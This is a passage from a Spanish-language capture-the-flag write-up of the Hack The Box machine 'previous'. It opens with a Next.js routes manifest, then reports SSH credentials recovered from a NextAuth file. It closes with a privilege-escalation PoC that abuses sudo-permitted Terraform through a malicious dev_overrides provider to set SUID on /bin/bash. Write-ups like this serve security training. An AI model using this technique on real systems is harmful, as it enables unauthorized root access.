&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/components/sidebar(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs/content/examples&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/content/examples(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/content/examples(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs/content/getting-started&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/content/getting\-started(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/content/getting\-started(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/signin&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/signin(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/signin(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;dataRoutes&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;rsc&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;header&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;RSC&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;varyHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;prefetchHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Next-Router-Prefetch&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;didPostponeHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;x-nextjs-postponed&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;contentTypeHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;text/x-component&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;suffix&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;.rsc&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;prefetchSuffix&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;.prefetch.rsc&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;prefetchSegmentHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Next-Router-Segment-Prefetch&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;prefetchSegmentSuffix&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;.segment.rsc&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;prefetchSegmentDirSuffix&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;.segments&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;rewriteHeaders&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;pathHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;x-nextjs-rewritten-path&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;queryHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;x-nextjs-rewritten-query&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;rewrites&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="credenciales--ssh"&gt;Credenciales → SSH&lt;/h3&gt;
&lt;p&gt;Se consultó &lt;code&gt;/app/.next/server/pages/api/auth/[...nextauth]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-802a-9879-f53f018da85f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;De ahí salieron credenciales:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;jeremy:MyNameIsJeremyAndILovePancakes&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Con esas credenciales se obtuvo acceso por SSH.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-806d-9b0b-ec773559b1ea.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="escalada-de-privilegios-terraform-con-sudo"&gt;Escalada de privilegios (Terraform con sudo)&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://dollarboysushil.com/posts/Terraform-Sudo-Exploit-Privilege-Escalation/"&gt;Privilege Escalation PoC: Terraform sudo Exploit&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Restricción parcial de sudo&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;El usuario &lt;code&gt;jeremy&lt;/code&gt; no tiene acceso total a &lt;code&gt;sudo&lt;/code&gt;. Sólo puede ejecutar &lt;code&gt;terraform&lt;/code&gt; con super privilegios.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Comportamiento de Terraform&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Terraform puede cargar proveedores/plugins.&lt;/li&gt;
&lt;li&gt;Con &lt;code&gt;TF_CLI_CONFIG_FILE&lt;/code&gt; se puede apuntar a una configuración de CLI que defina &lt;code&gt;dev_overrides&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Idea del abuso&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Si Terraform, ejecutándose como root vía &lt;code&gt;sudo&lt;/code&gt;, carga un proveedor desde una ruta controlada por el usuario, ese binario se ejecuta con privilegios elevados.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;PoC&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jeremy@previous:/opt/examples$ &lt;span style="color:#75715e"&gt;# 1) Crea el &amp;#34;proveedor&amp;#34; con el nombre que Terraform está buscando&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat &amp;gt; /tmp/terraform-provider-examples &lt;span style="color:#e6db74"&gt;&amp;lt;&amp;lt;&amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;chmod u+s /bin/bash &amp;gt;/tmp/pwn-log 2&amp;gt;&amp;amp;1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chmod +x /tmp/terraform-provider-examples
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 2) Asegúrate del TF_CLI_CONFIG_FILE correcto &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat &amp;gt; /tmp/dev.tfrc &lt;span style="color:#e6db74"&gt;&amp;lt;&amp;lt;&amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;provider_installation {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; dev_overrides {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; &amp;#34;previous.htb/terraform/examples&amp;#34; = &amp;#34;/tmp&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; direct {}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export TF_CLI_CONFIG_FILE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/tmp/dev.tfrc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo /usr/bin/terraform -chdir&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/opt/examples apply
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls -la /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/a13c59dd-a373-4077-b3b8-ab5545f08259.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item></channel></rss>